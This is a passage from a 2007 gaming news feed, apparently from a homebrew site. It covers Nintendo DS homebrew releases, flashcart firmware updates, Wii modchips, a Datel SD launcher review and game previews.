stylus or d pad to move depending on your choice. Either L or R will slow down time. Player 2 uses x,y,a,b regardless of whether player 1 is using the d pad or the stylus. If you are tired of going through the option screen each time you die and wish to restart quickly just press b.
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January 30th, 2007, 02:30 Posted By: wraggster
New release from Robert Durbin:
This is my first attempt at nds programing. It was made using palib and devkitpro.
Basically you choose between 26 cases, than you start elimiate other cases. Perioidically you are given deals by a banker. You can choose to take the deal and see what was in your case. If you choose not to take the deal you eliminate more cases til you get to the last 2 cases. Your case and another one. At this point you can keep your case or trade for the other one. The game also keeps track on your previous deals. Its a real simple game but pretty fun to play and of course the cases are different each time you play.
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January 30th, 2007, 02:35 Posted By: wraggster
New release from XParano:
DSCam Alpha (released for the compo)
allows you to capture webcam snapshots from a webcam and send them to your DS
Press start on your DS to send a connection message to the server again
You must have .NET framework 2.0 installed on your computer for the server
Uses port TCP 9998/9999
Known limitations/bugs:
won't work if the main windows is minimized...
since I don't have a highend webcam, maybe it will fail if the resolution capture is too high...
text is buggy...
still working on it
Warning, alpha, might not work for you
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January 30th, 2007, 02:36 Posted By: wraggster
Firmware for the R4DS flashcart updated, heres whats new:
1 )Hiding the display of those files and directories with "Hiding" attributes
2 )Using L button as same as touching the screen to adjust the brightness
3 )Narrowing the display for transditional chinese characters
4 )Background light should be turn off while closing DS in save mode
5 )Soft reset included (L+R+A+B+X+Y) or touch the soft reset button with R to switch on/off this function
6 )Decreasing possibility to triforce boot screen and noise caused by using soft reset
7 )Improving the technique to issue of freezing menu while using soft reset
8 )Add feature of large text size in eBook
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January 30th, 2007, 02:43 Posted By: wraggster
New from Smealum
These are actually two different roms, but they are only one game.
The game is an FPS. The first one, Orange Desert Challenge features solo gameplay, whereas Orange Desert Online is an online multiplayer (max 4 players) game.
They both play in a very similar way. Actually, both use the same control-scheme and both give you the same goal which is to kill everyone with no mercy.
How to play the game :
- Use the stylus to aim
- Use the D-Pad or ABXY to move (D-Pad for righties and ABXY for lefties )
- Use R or L to shoot (same thing)
- That's pretty much it
The game has been entirely coded with libnds.
Graphics by Nhut, code by myself, Smealum.
Orange Desert Challenge
In this solo game, you have to kill everyone without dying yourself. There is a blue progress bar to see how many enemies you've killed. The game features a mini map on the bottom screen, as wel as a brand new health bar on the top screen
When you kill every enemy, you get a little reward
Orange Desert Online
Same gameplay and graphics as in Orange Desert Challenge. The only (though big) difference is that it's an online multiplayer game !
The game uses the wifi informations contained in the DS's firmware.
You don't need to set a server up to play it : a dedicated server runs 24/7 with 5 game rooms of 4 players
If there's a problem, like the server being down, be sure to contact me.
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January 30th, 2007, 02:48 Posted By: wraggster
New release from sumiguchi
This is a music game so play with the rythm to make the best music and get the highest score. This game has 4 songs and you can play the lead or rythm/bass on each of the songs. Instructions on how to play can be found by clicking on the "?" in the main menu. Press start while playing to return to the menus.
This game has a bit of a learning curve but once you get used to the layout - you will be rocking in no time.
The JAM MODE is more of toy - I preprogrammed a few "riffs" for you to try out, or just make your own melody with the option of a few different beats.
There is only one bug that I have found. It is in JAM MODE when switching between riffs you occasionaly get sprite corruption. Just press start to return to the main menu and re-enter JAM MODE to clear the problem.
Let me know how you like the game or if there are any bugs that I missed! (Tested OK on SuperCard and Max Media Launcher)
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January 30th, 2007, 02:50 Posted By: wraggster
New from Bassacegold:
Hello all, this is my game for the compo! It is a remake of the boxing game from atari 2600.
This is just a multiplayer demo so far and i plan on adding AI to it in the future.
Multiplayer is done on one DS, one person uses the D-pad to move and L to punch, the other uses the A,B,X,Y buttons to move and R to punch.
I was in a hurry to get to this state so please excuse any glitches that you may come across.
EDIT: New version is up. Fixes a few collision bugs and allows restart match at the end.
Enjoy!
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January 30th, 2007, 02:54 Posted By: wraggster
New from Campanile
Fish Tank is a work in progress remake of Insaniquarium. For now only Free Tank Mode is working. You can choose between 5 tanks with
their own graphical and musical theme (more to come). In this mode, your goal is to collect enough money to buy all egg parts. You can also just send some relaxing time feeding the fishes and see them live... For that, just buy and feed fish that while growing will drop more valuable items. You can also buy different upgrades to enhance your feeding skills. The game will end if all your fishes starve to death.
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January 30th, 2007, 02:57 Posted By: wraggster
New from Bug
This is my entree into the comp...
Ok, story is... well there aint one...
for some reasonn some nutter has strapped a jet to your back(your a pig) and now u feal enclined to kill the birdies.
Press A to start.
Steer with the D-pad or Stylus.
Shoot with L.
This is only a demo of the full game...
Full game will include:
More Enemys
More Levels
More Weapons
Better Controls
MULTI PLAYERD!!!!
Have fun with the demo.
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January 30th, 2007, 03:01 Posted By: wraggster
New release from Creebo
Hello everybody!
I am submitting my firmware replacement for the DS called CreeboMe. This is an alternative to FWNitro or FlashMe by having a stylish menu added to boot either a DS Card, Homebrew Device, or a GBA Cart.
NOTE: To flash use the same methods as FlashMe and FWNitro. I will take no responsibility to a bad firmware flash. If you are not confident about flashing your firmware, use the rom instead, however the DS Card Option will NOT work on the rom version. Also this is only a beta version and as you can tell it does not have many feature. But not to worry! I am confident on keeping this project alive. Thanks to Loopy for the base firmware replacement, and all of the guys in #dsdev for all of the wonderful help. If you cannot get the homebrew button to work, the failsafe is A+B+SELECT+START.
The file can be downloaded here, my advice is to wait for others to say its perfect before using, bricking your DS could be a reality if things go wrong.
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January 30th, 2007, 09:11 Posted By: MikeDX
Homebrew and import fans rejoice! The first official reseller (at least that I've heard of) have started taking pre-orders for the newly announced cyclowiz modchip.
- Quicksolder (no wires required)
- Play GC Homebrew
- Play GC Imports (swap needed)
- Built-in Audiofix (GC games using streaming are working flawlessly, no patch needed)
- DVD-R / DVD+R support
- Optional chip disable wire
- Stealth even when chip is enabled
- Multi-purpose LED
http://cyclowiz.com/
I can't wait to get my hands on one
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January 30th, 2007, 17:06 Posted By: wraggster
via cvg
As well as showing off the nice art style of the Prince of Persia games, these five new hi-res screens give a further insight into how the ninja Prince will be controlled using the Wii Remote and Nunchuk.
As you can work out in the images, the Prince's normal attacks are performed by slashing the Wii Remote and Nunchuk (the latter only when he has a weapon in each hand).
The screenshot that shows Dark Prince hanging from the ceiling strangling the enemy below with his lethal Daggertails is demonstrating the game's stealthy Speed Kills. Just get near an enemy without being noticed you and you can flick the Nunchuk downwards to execute the Speed Kill, which kills them instantly and saves you the hassle of a full-blown scrap.
Prince of Persia Rival Swords, coming to Wii on March 30, is a direct port of The Two Thrones, which previously released on PS2, Xbox and GameCube game in 2005. Yes, THAT long ago.
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January 30th, 2007, 20:55 Posted By: wraggster
You read it right folks. A T-Rex steals the show as he tries to chomp on everyone's favorite blue hedgehog, in this new gameplay video for Sonic and the Secret Rings. Check out Sonic at his break-neck best, speeding, bouncing and just plain running through some insane environments. He even does some log riding down a river.
Click the Movies tab, launch the video player, and find "Sonic and the Secret Rings gameplay - 30 Jan 2007" to catch a glimpse of the Wii's first foray into the Sonic franchise, which is looking to redeem Sega's main man... er main hedgehog? We look forward seeing more of the blue-blur when the game launches later this year.
Movie Here
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January 30th, 2007, 21:05 Posted By: wraggster
via joystiq
Nintendo has been bestowed the proud honor of a Spielwarenmesse award, selected as the 'Trend + Lifestyle' winner of this year's annual Nuremberg International Toy Fair. Judges chose the Wii console along with "Wario Wear" for the duo's ability to "encourage playing PC games in groups instead of alone." Judges also found that "the product not only appeals to player types with an affinity to PCs, but also to new age groups." Hmmm, we weren't aware that Wii had become popular in the yoga scene... Maybe Nintendo should start bundling the system with a set of crystals.
Winners of a 'ToyAward' are permitted to print the 'ToyInnovation quality label' on retail boxes of winning products. Something tells us Nintendo's gonna pass.
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January 30th, 2007, 21:07 Posted By: wraggster
EA of Japan has just released the first trailer and footage of SimCity DS and it's looking to be another AAA DS title. The stylus seems to work just as good or better than a mouse and new gameplay features may just reinvigorate the aging series. You can help Santa drop presents on Christmas and even fight off giant Ape intruders with your stylus as the weapon! SimCity DS hits Japan on 2/22 with no US release date yet announced.
Video Here
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January 30th, 2007, 21:13 Posted By: wraggster
New Special offer from Play Asia:
SNK brings its card battling series to a new generation of gamers. SNK vs. Capcom: Card Fighters Clash is the first new game in the series since 2000. Players build decks of characters pulled from the annals of SNK and Capcom gaming history for the ultimate strategic battle.
SNK vs. Capcom Card Fighters DS for Nintendo DS™ is now available at discounted US$ 19.90 only.
Game features:
All-New Card Fighters game for the Nintendo DS
Use strategic card arrangements to win
More than 300 different cards to use, collect, and trade
Know your character and their special abilities and combine them for added value and strength
More info at Play Asia
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January 30th, 2007, 21:20 Posted By: wraggster
New Firmware update for the M3 DS Simply
Heres whats new:
· Hiding the display of those files and directories with "Hiding" attributes.
· Using the L button is the same as touching the screen to adjust the brightness.
· Narrowing the display for transditional Chinese characters.
· Background light will now turn off while closing DS in save mode.
· Soft reset included (L+R+A+B+X+Y) or touch the soft reset button with R to switch on/off this function.
· Decreasing possibility to experience the triforce boot screen and noise caused by using soft reset.
· Improving the technique to issue of freezing menu while using soft reset.
· Adds feature of large text size in eBook.
· eBook is also skinnable (create bckgrd_1.bmp & bckgrd_2.bmp in folder /_SYSTEM_/EBOOK)
NOTE: Due to the nonsynchronous of the audio and video, Moonshell temporarily does not support soft reset, but we will update with a new edition supporting it as soon as possible.
Download --> http://www.m3adapter.com/SLOT-1/Download.htm
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January 30th, 2007, 21:22 Posted By: wraggster
Nintendo reported Friday that sales of its new Wii videogame platform have pushed the company's earnings up 43% in the last year.
The results helped Kyoto, Japan-based Nintendo hit its 52-week high by closing at 34,150 yen ($281.14) on Friday. Nintendo's shares have climbed 113% in the last year.
Nintendo’s net income topped 131.92 billion yen ($1.1 billion) for the nine months through December 2006, up from 92.19 billion yen ($764.6 million) in 2005, beating a 12-month profit forecast of 120 billion yen ($996 million) for this year.
Much of that increase came from the Wii, the relatively low-priced game machine that Nintendo introduced last fall to compete with Sony's PlayStation 3 and Microsoft's Xbox 360.
Nintendo’s Wii has outperformed Sony's machine, which debuted at the same time. According to research house NPD Group, Nintendo shipped 1.1 million Wii consoles to the U.S. in November and December, 60% more than shipments of PlayStation 3. In Japan, Nintendo sold nearly 990,000 units in December, more than twice PlayStation3’s sales in two months, according to Tokyo research firm Enterbrain.
via forbes
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January 31st, 2007, 00:19 Posted By: wraggster
via wiifanboy
Soon after the game's release to the Virtual Console yesterday, the folks over at Go Nintendo downloaded the title for the affluent cost of 1,000 Wii Points (we're paid in pain) and got together for a three-man session. They discovered something odd, however, when racing on the track Moo Moo Farm. The odd occurrence deals with the speed of the game, which they determine "is about double that of 150 cc."
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January 31st, 2007, 00:20 Posted By: wraggster
via wiifanboy
This has got to be one of the funniest Wii-based videos we have seen yet. We suppose our poll where we asked you how you played should have included an option for 'laying down,' however we aren't sure what this guy is doing in the video can even be considered just your average laying down. It's like he's power laying ...
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January 31st, 2007, 00:23 Posted By: wraggster
via nphiles
“Punch-Out!!” has once again been trademarked through the United States Patent and Trademark Office. Nintendo filed the trademark on April 1, 2005 for service under “electronic game discs.” The status of the name is active as recent as January 11, 2007.
The game has not officially been confirmed. However, recent reports from IGN hinted at possible Nintendo franchises being reborn on Wii. If in fact a Punch-Out!! title is coming, the game could theoretically have been in development since its 2005 filing date.
Punch-Out!! is a highly characterized boxing title where you control Little Mac, a tiny but gutsy Bronx competitor, on his way to becoming champion of the World Video Boxing Association. The franchise has long been cherished by boxing and gaming enthusiasts for its simple, intuitive and challenging gameplay. If the title is confirmed, one must wonder whether Little Mac will make his much anticipated debut in Super Smash Brothers Brawl.
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January 31st, 2007, 00:25 Posted By: wraggster
Oh, Mama. We love you so, especially when you're starring in cheeky new trailers. This new Cooking Mama: Cook Off trailer is one of the best game adverts we've seen in a while. It's got it all: humor, gameplay, and a sense of fun that really suits the game. The only problem is that now we really, really want the game. Damn you, Mama!
via wiifanboy
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January 31st, 2007, 00:44 Posted By: wraggster
A new release of the Devkit for Nintendo DS and More.
Heres the details:
This long awaited toolchain update brings the much requested directory functions to libfat.
devkitARM release 20 has been updated with newlib 1.15.0 and the completed stdio patches for directory related functions. Example code will be added to the nds examples later.
Cearn's Gameboy Image Transmogrifier joins the tools available in the devkit. This image processing tool should provide you with a simpler way to add graphics to your projects. Again sample projects will be added to the nds and gba examples over the next few days.
Chishm's dlditool is now included as well as the dldi linkscript for added convenience. A dldi template is available in the examples.
The included makefile rulesets have been reordered so that .itcm/.iwram/.arm.c/cpp files should work as intended.
dswifi 0.3d now uses closesocket rather than close for sockets. The old function was overriding an important function of the same name in newlib and interfering with some aspects of stdio. The hitherto unannounced 0.3c brought support for newer wifi hardware in recent DS units as well as some bugfixes related to UDP.
The latest libfat merely enables the long awaited directory related functions, devkitARM release 20 is a requirement for this build.
Download Here
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January 31st, 2007, 00:50 Posted By: wraggster
Another video on youtube is an advert for the newly announced Touchmaster DS game.
Check it out here -->
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January 31st, 2007, 00:51 Posted By: wraggster
via dsfanboy
Oh, we don't mean the pain of the action variety. This is more the pain of "where the hell is Bleach DS?!" We haven't even seen the first one and they're already on a sequel. What gives? Folks outside Japan can certainly appreciate a good fighting game. Oh well, looks like those of us who can't live without a little violence might have to turn to importing. This isn't just any violence, either. We're talking four-on-four multiplayer WiFi violence.
Did any of you guys import the original? This sequel is said to improve on the gameplay, and that's a tall order. It did take them a while to get around to showing off anything from the sequel, so maybe some extensive fine-tuning did go on. If only we had more than a few screens to show off, but these will have to do for now.
Screens Here
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January 31st, 2007, 01:16 Posted By: wraggster
via ign
When Diddy Kong Racing ships in early February, it will support a whole slew of multiplayer options, including full-on six player online racing via the Nintendo Wi-Fi Connection service. Late last week Nintendo hosted a batch of online sessions so gaming editorial could zoom around the courses against other (competing) publications to see how well the game can handle the load. And pre-release, so far so good.
We'll give the nod to Nintendo's NST team for Metroid Prime Hunters still having the most elaborate online experience, but Rare's Diddy Kong Racing team comes a close second. The game has a "smiley face" system that's actually quite helpful: if a friend is online, for example, a smiley face will show up on the "Friend Roster" option of the menu. Clicking on this selection will take you to the list of friends you've entered into your game, where you can see what that friend's status is: offline, online, starting a game, or in a game. This is also where you can check out the statistics of how many times you've won or lost against this individual in the game's races and battles.
If a friend has set up a game, a smiley face will show up on the "Join Friend" option. This is a pseudo lobby system where you can host a match-up; anyone who's in your friends list can join in, but you can't restrict and lock your match-up to specific friends. You can, however, decide to cut off your list to less than the chosen amount as friends come in, which is really handy since many online games will sit and wait until the match-up times out before starting.
For random competition, you can choose two player, four player or six player races from the menu and the game will play "matchmaker" with random folk also seeking out that style of racing. This does require that whole "critical mass" thing of thousands of people owning the game, which won't start for another week...so we couldn't really do much of that whole random match-up thing in our early playtest. But from what we've experienced, it's much like Mario Kart DS: players pick a track and a type of race, and the most selected track and type of race is the one players will compete within.
Once a game's set up in the friend match-up, the host chooses the tracks and the type of race, whether it's in plane, car, or hovercraft. If the host hasn't unlocked the track, mode, or character in single player mode they won't be available in multiplayer...which will definitely encourage players to play through as much of the adventure as they can before jumping online.
Lag and dropped connections hasn't been much of an issue, but again -- we're playing Diddy Kong Racing a week before it ships. Once people start buying the game next week all that can (and will) change. And we're also playing against people we trust...we haven't experienced *******s who love to drop out of a race mid-session because they're losing, so we haven't seen how Rare handles this in-game. We did test out dropping out in the middle of a connection ourselves, and it seems that the game will continue if there's still at least two players connected. Good to know.
Diddy Kong Racing ships next Tuesday. We'll have our full review around that time.
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January 31st, 2007, 02:16 Posted By: wraggster
XParano has released a new version of his application that allows you to send PC Webcam images to your DS:
Heres whats new:
New in v0.2 Alpha:
Transmission Speed improved
Download and Give Feedback Via Comments
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January 31st, 2007, 02:18 Posted By: wraggster
MZR60 has posted some Work In Progress info on a new project for the DS:
Hi everyone this is my new NDS project WLP DS stands for (weight loss planner)
if you think you are fat then this the solution
this application can help you with many services:
-Complete file of multiple users.
-calculate your daily needs of calories to loose weight.
-calculate the persons daily activity ( sport ,driving,......).
-users can build their meals under the new USDA pyramid.
-other useful diet tools i will explain it later.
Note:The project will not be finished soon but their will be demo versions.
More Info
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January 31st, 2007, 02:21 Posted By: wraggster
New release from SiRioKD helps with patching homebrew roms, heres whats new:
Abiltity to patch the DLDI of Chism for homebrew
Reorganization of the code
Replaced dataGridView with one the ListView
Exceeded the test of the MoMA
Download and Give Feedback Via Comments
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January 31st, 2007, 02:26 Posted By: wraggster
New release from Xuron:
Hey this is my entry for PAlib's compo called An Orange Death.
You are santa, and after receiving an orange instead of a deicious cookie for the holidays, you overreacted and chased the boy who served you an orange. In your anger, you crashed to your death only to arrive at the gates of heaven. Your misdeed has costed you so you must now prove your worth by fending off enemies who are trying to escape. Every so often a 'goody' will appear. Don't step on him as that will cause more enemies to come. There are pesky baddies which will drain your health/oranges/gloves so avoid them.
The opposite screen from you shows your health, number of oranges which will be useful during the boss battle, number of gloves which can slow down enemies, weather and powerups, and score and level.
There's a boss fight at the end so if you wish to skip right to it just hold down
'R + L + A' to go to it. You can also hold those buttons during the boss fight if you want to see the ending.
Download and Give Feedback Via Comments
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January 31st, 2007, 18:32 Posted By: wraggster
Atari has revealed its latest Wii and handheld title Godzilla: Unleashed, a monster fighter staring the famous green behemoth and a bunch of gigantic friends.
There's not a terrible amount of information available on the game yet, though apparently Unleashed will feature interactive 3D cityscapes, big destructible buildings, a fully reinvented combat system, along with an innovative non-linear storyline which will allow players to influence how the story unfolds through their choices within battles. Not necessarily a simple button-masher then, but that's according to Atari.
You can expect Godzilla: Unleashed to stomp this way in the autumn. We'll let you know if it's any good.
via cvg
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January 31st, 2007, 18:43 Posted By: SukkoPera
MCTool has just been updated to version 0.16. This is mainly a bugfix release, although it offers a couple of new features as well.
MCTool is a program to fix the errors and sort the entries of your media cards straight from the DS.
Changelog:
- Added ability to choose how to repair every single error.
- Added automatic repair mode.
- Added MC switch feature.
- Display detected flashcart.
- Wait for all keys to be released upon initialization.
- Patched double files count when verifying.
- Tested and added new SC Lite driver.
- Cleaned up code.
- Started development of a GBA version (which will not be released soon, so don't ask! ).
- Compiled with new DevKitPro r20.
- Other bugfixes I cannot remember .
Make sure to read the README, as it has been updated with tons of info!
The program is released under the GPL. Please report any comments/bugs/appreciations . E-mail is the preferred way, as there are too many forums out there and I can't read them all!
Disclaimer:
PLEASE NOTE THAT THIS PROGRAM MESSES WITH THE FILESYSTEM OF YOUR MEDIA CARD, WHICH MIGHT RESULT IN A DATA LOSS. THEREFORE, BEFORE USING IT, ALWAYS MAKE A BACKUP OF ANY IMPORTANT DATA.
Downloads:
- Binaries
- Source
The program uses a hacked version of Chishm's libfat to allow for raw I/O:
- Source
- NDS binaries
- GBA binaries (untested)
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January 31st, 2007, 18:57 Posted By: wraggster
Hello and welcome back! Last week, in part 1 of this amazing saga, we took apart the Wii, modified the heat sink and desoldered large parts off the board.
Today, in part 2, we'll reattach some vital components, mount the disc drive back onto the motherboard and create a case design on the computer. This will prepare everything for part 3, where we'll make the casing and install everything into it. Move out!
Alright, when we last left our hero (the Wii?), the unit was stripped down to the motherboard and the heat sink had been modified. Granted the original heat sink wasn't that tall, but the plan was to keep the main body of the unit under 1.25 inches. Setting goals like that (instead of just shotgunning it and coming up with a case that looks like the Winchester Mystery House) is what allows a person to create a professional "manufactured-looking" project.
Today we're going to rework several things on the motherboard so the unit can once again function, starting with the front panel buttons.
Full article at Engadget
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January 31st, 2007, 19:09 Posted By: wraggster
via joystiq
Those of you with cramped entertainment centers have no doubt been bothered by the Wii's inconvenient placement of the GameCube ports when you just need to use a wired gamepad. Cheap Ass Gamer hollowfreak's handy mod transplants those errant GameCube ports from the side to the front of the Wii. His hack uses some of that cubic volume Nintendo so thoughtlessly left out, creating a completely detachable unit that leaves no unsightly blemishes on your pristine Wii. And Gamecube afficionados, there's another benefit to this mod: it closer resembles the dimensions of the beloved 'Cube. Now you're playing with power!
Screen Via Comments
More info
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January 31st, 2007, 19:10 Posted By: wraggster
via siliconera
If you type “ball” in DS Rakubiki Jiten two words show up and if you click on the grey word it opens up the classic Game & Watch game Ball. The game is played entirely on the touch screen where you hit left and right to keep the two balls balanced in the air. Another neat easter egg hidden in DS Rakubiki Jiten is the coin sound when you hit the grey word “Nintendo”.
Cool stuff
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January 31st, 2007, 20:03 Posted By: wraggster
As a follower of Modchips over the years i have to say that while its encouraging to see Modchips out for the Wii already the plain fact is i wouldnt waste my money yet.
Both modchips cant be upgraded, so Nintendo releases an upgrade to the Wii and well your most likely knackered.
Also one of the main reasons for a modchip for the Wii (no im not interested in piracy) is to play games from other regions on my US nintendo Wii, neither mod can do this, so yet again another thumbs down.
Now yes Gamecube Homebrew is playable on the Wii this way but that can already be done without modding your console.
Now because the Modchips arent upgradeable the likelyhood of an exploit for Wii Homebrew working on these modchips is next to nil.
So for now take our advice and dont touch with a bargepole until much better modchips come along.
agree or disagree with me via comments
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January 31st, 2007, 21:51 Posted By: got_wot
There has been much hassle for us PAL Wii Homebrewers to say the least. Unlike our American and other NTSC region counterparts, the Action Replay Disk will not be read by our PAL Wii Console, so the use of a standard gamecube SD adaptor such as the Gecko is ruled out. Then, there was a little ray of hope Datel released a Pal Action Replay compatible with Wii. Now I must say, I don't think I'm the only one to have snapped one up quick, only to be met with devastating dissapointment when it was found the "Add new game code" option was removed from this release... It was a crippled Action Replay device that could only be used for cheat codes and Freeloader. The method used for accessing the SD card was made useless with it. Why of dear god why would Datel do such a thing? Were they sufferring from the guilt of allowing the Wii to be exploited in the same was as the cube was? The answer, sadly, is a definite no. Datel decided to cash in on the phenomenon, and offered (a more expensive) alternative the an AR for such a task - the SD Media Launcher. "What cheek!" I hear you cry - "How dare they!" we all scream. This is just yet another example of Datels money bways, but being short on options, I decided it was necessary to also buy this peice of equipment....and as strange as it sounds - I couldnt be happier!
Datel have actually got this one right! In the package you receive the Datel SD adapter, a 1GB SD card, a rather spangly multi card reader (not necessary, but it also reads compact flash and XD memory types) and the boot disk. A pretty good deal for £30 (as long as you werent conned into getting the AR first, bringing the price to £45)
For the first time on Wii you can get to playing your classic games thourhg emulator and homebrew gamecube programs without leaving your seat! You no longer have to start an action replay, eject the disk, insert the disk load into SDload and open your programs, no, the device automatically brings you to a rather slick looking interface (although deep down its just a clone of SDload) and allows you to open straight to your emulator or program, all form the comfort of your armchair (providing the boot disk was already in to start with, obviously..) Theres nothing that SDload can do that this can't do just as well with regards to compatibility, and somethings even load faster (snesGX loads instantly, rather than flikering for a few seconds as it did through the AR expliot and SDload) although I think this may be down to quality of materials and chips, the Datel adapter feeling much more solid than the Gecko, which I used previously...
Overall, I think if you can forgive Datels greedy money grabbing ways and purchase the package (I even made up for most of the cost Ebaying my Gecko and old AR) you won't be dissapointed, it's the fastest, most stable, easiest to use homebrew solution for PAL Gamecubes and Wii's. However, I'm not entirely sure if it is compatible with other region Cubes and Wii's, if anyone know I would love to hear from them via the comments...
Pro's: Fast, Easy to use, Stable and made of quality materials.
Con's: NONE (other than the feeling you've sold out to Datel )
Thanks for reading, and I hope I've convinced some of you PAL gamers that tis is the way to go...
Your PAL, Antony Lavelle
http://www.the-exp.com
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January 31st, 2007, 22:27 Posted By: wraggster
A new release of WiiCR has happenned today, heres the info and whats new:
WiiCR is a media player solution for the Nintendo Wii. It acts as a streaming media server and is capable of transcoding nearly any video file to a suitable flv for an embedded flash player. It allows browsing of the remote filesystem to view: videos (avi/xvid/divx/mpeg/wmv/etc), text files, jpg's and play mp3s.
0.3.2-RC2 released
adding dir to playlist no longer clears old contents of playlist
sys shell added to kill_encode command (for linux)
unique entries only in mp3.txt again
mp3.txt is sorted again
FIXED - mp3 filename wasnt showing when loading.
added linfoxes update to flvprovider
added dirs feature
all OS vars shifted to config.dat to remove need to config config.pl and also make updating easier.
added fullscreen video plugin tpl to icons1
config.new included (users of linux and non default win32 installs should edit config.new before putting in the wiicr dir).
Download Here --> http://wmc.sourceforge.net/wiki/index.php/WiiCR
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January 31st, 2007, 22:37 Posted By: wraggster
JimmyL has released a new version of his RTS game for the Nintendo DS, heres the release info:
Just a couple more bug fixes. Some people have mentioned in the past that the top minimap screen was covered with a layer of random pixels on certain flashcards, I think I've tracked that down, so if anyone sees this still happening, let me know. I've also updated all the network code to the (no longer) latest version(0.3c) of Stephen Stair's dswifi lib which fixed some issues with going online with newer ds lites.
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January 31st, 2007, 22:43 Posted By: wraggster
via dsfanboy
Thanks to the folks at GameSpot, we can now get a good look at Diddy Kong Racing. We're talking up close and personal, because they've put out a truly epic flood of screens from the upcoming enhanced port ... so many, in fact, that it's almost as good as playing it ourselves.
You'll notice we said almost. Nothing really compares to the fun of crushing our enemies and seeing them driven before us, but we do like a pretty picture now and again.
Screens Via Comments
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January 31st, 2007, 22:46 Posted By: wraggster
via dsfanboy
Man, Japan gets all the best stuff! The above are two different board games (Crystal Attack and The Tower variety) based on the smash hit New Super Mario Bros. and, while they do not look entirely like the traditional board game, they certainly bring the kid in us out. With moving parts and warp pipes, we would love to import ourselves both of these, but in all honesty the price is a bit too steep.
The games are set for a March release in Japan and will cost importers $45 USD for the Crystal Attack version and $35 USD for The Tower version. The site makes no mention of shipping and handling costs, but we're sure it has to be at least $10 USD a piece.
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January 31st, 2007, 22:52 Posted By: wraggster
via ign
Publisher Codemasters recently brought by a nearly finalized version of Heatseeker for Wii. The title, which is developed by both Codemasters and IR Gurus, is an action-oriented take on the traditional flight simulator. In place of overly complex controls and a heavy focus on realism, Heatseeker serves up an easily accessible flying experience overrun with intense dogfights. The game is set to release on Wii, PlayStation 2 and PSP this March and to celebrate the impending debut, we got to see -- not play -- the game in motion. For whatever reason, Codemasters didn't want anybody to go hands-on with the title just yet, but we gathered much from the on-site demonstration.
We've previously detailed the game's selection of jet fighters and levels so we're merely going to offer a refresher on the subject. You can choose from some 30 playable fighters, including everything from an F-15 Eagle and F-35 Lightning II to the MiG-29 and Su-47, and dogfight in the skies or under the radar in a variety of locations around the globe. The planes have individual attributes and distinguishable sets of weight and physics, they can be skinned differently, and a host of unlockable weapons can be added to them as you advance. Finally, Heatseeker brings air combat to life with a cinematic impact cam that dynamically shoots the action from different angles.
According to a Codemasters representative, as the company has learned more and more about Nintendo's console, the Wii version of the title has become the primary focus. We can't say we blame the studio, either, because the Wii remote and nunchuk seem to be a perfect fit for a flying game of this type. Codemasters and IR Gurus have capitalized on the setup and come up with a control scheme that, while seemingly experimental, appears to work triumphantly. It makes use of the nunchuk attachment's motion-sensory functionality for fighter movement. To turn left you simply tilt in the direction with the nunchuk; to turn right you do the same. (Incidentally, EA is using these same mechanics to carve in SSX Blur and both games are giving us hope for the future of nunchuk-controlled titles.) Meanwhile, to make a plane dive down you simply motion forward with the nunchuk; and to pull up -- that's right -- you merely pull back on the nunchuk.
On top of everything else, you can hold forward on the nunchuk's analog stick to give your fighter a burst of speed, which is integral for catching faraway enemies during dogfights. After about three seconds, your jet's rockets will ignite and an impressive visual blurring will overtake the screen as the craft shoots forward with notable force. You can alternatively pull back on the analog stick to slow down.
We didn't get to try any of this for ourselves, but we've been on the Wii end of the industry long enough to spot shoddy controls from afar -- and Heatseeker is thankfully looking smooth. Even the simplest of nunchuk tilts would smoothly cause jets to turn left, right, take a dive toward the earth or ascend into the clouds, whose quasi-volumetric density is a cut above most console-based efforts. (That noted, the clouds do pop-up out of nowhere periodically, which shouldn't be happening.) We could easily see that controlling planes in Heatseeker is going to be an enjoyable undertaking.
Not to be confused with a PC-like sim, Codemasters and IR Gurus have together taken steps to ensure that Heatseeker appeals first and foremost to action fans. To that end, the game is fast and filled with different challenges, from typical air combat -- lock onto enemies, send missiles flying and the impact cam goes to work -- to flying missions low to the ground to avoid radar detection. You'll never have to worry about weapon management because there isn't any. In Heatseeker, you can unload as many missiles as you want and you'll never run out of machine gun ammo -- you've got it all infinitely because action, not realism, is the focus.
Based on what we've seen thus far, the title is showing good promise. It is not exactly pushing Wii's technical boundaries -- a truth we contribute to the fact that Heatseeker undoubtedly began its life as a PlayStation 2 endeavor, but was eventually moved to Nintendo's console, too. Textures could be crisper and some of the geometry -- landscapes, mostly -- lacks detail. But the title does run smoothly and to its credit, it is humming along in both 480p and 16:9 widescreen modes.
All of that noted, if you're looking for an intense dogfighting game, Heatseeker seems to have you covered, and we'd be shocked if it didn't play best -- and by a long shot -- on Wii. The nunchuk-based motion controls seem to work too well for the other versions to hold up. The only glaring omission is the lack of a multiplayer mode, which has for some reason been sacrificed on Wii and PlayStation 2, but exists on the PSP version.
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January 31st, 2007, 23:08 Posted By: wraggster
Sektor has updated the port of Hexen to the Nintendo DS. Heres all the info:
Rich Whitehouse originally ported Hexen to DS. This is an unofficial branch of his work. I just added support for more devices, changed the controls and other minor things. It has sound and touchscreen support. Save games don't work. You need the retail hexen.wad, it is not compatible with the shareware version.
What you need:
- The hexen.wad from the full version of Hexen (shareware is not currently supported)
- A DS and a compatible slot-1 or slot-2 device (tested on M3CF and DS-X OS v1.1)
How to use:
Step 1:
- Figure out what device you own
- hexenDS.nds is for GBAMP, MMD and slot-1 devices
- hexenDS.gba.nds is for slot-2 devices like SCSD and M3CF
- If you have a GBAMP, M3CF, SCCF, SCSD or DS-X then you don't need to use the DLDI patch. Skip Step 2.
Step 2:
- Download dlditool and the DLDI driver for your device
- Patch hexenDS.nds or hexenDS.gba.nds with a DLDI patch for your device
Step 3:
- Copy hexenDS.nds or hexenDS.gba.nds to any folder on your card (on DS-X it's best to use the apps folder)
- Copy a retail hexen.wad (19MB+) to /hexen.wad or /data/hexen/hexen.wad (that's X:\data\hexen\hexen.wad for Windows users)
- Launch Hexen and hope it can find hexen.wad
- It should saying "LOADING". It can take up to 15 seconds on some devices. There is no progress bar. It if takes longer, something is wrong.
What is broken:
- Saving and loading don't work.
- For now, use the level warp option in "ds" section of the main menu.
Controls:
- dpad to turn and move.
- touch screen to look around.
- A button fires.
- Y button jumps.
- L button cycles through inventory.
- R button cycles through weapons.
- X button uses objects (doors, switches)
- X button + dpad to strafe
- B button uses the selected inventory item.
- Select toggles the automap
- Start pauses the game and displays the options menu
- X+Up/Down on dpad flies up/down while in fly mode.
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January 31st, 2007, 23:11 Posted By: wraggster
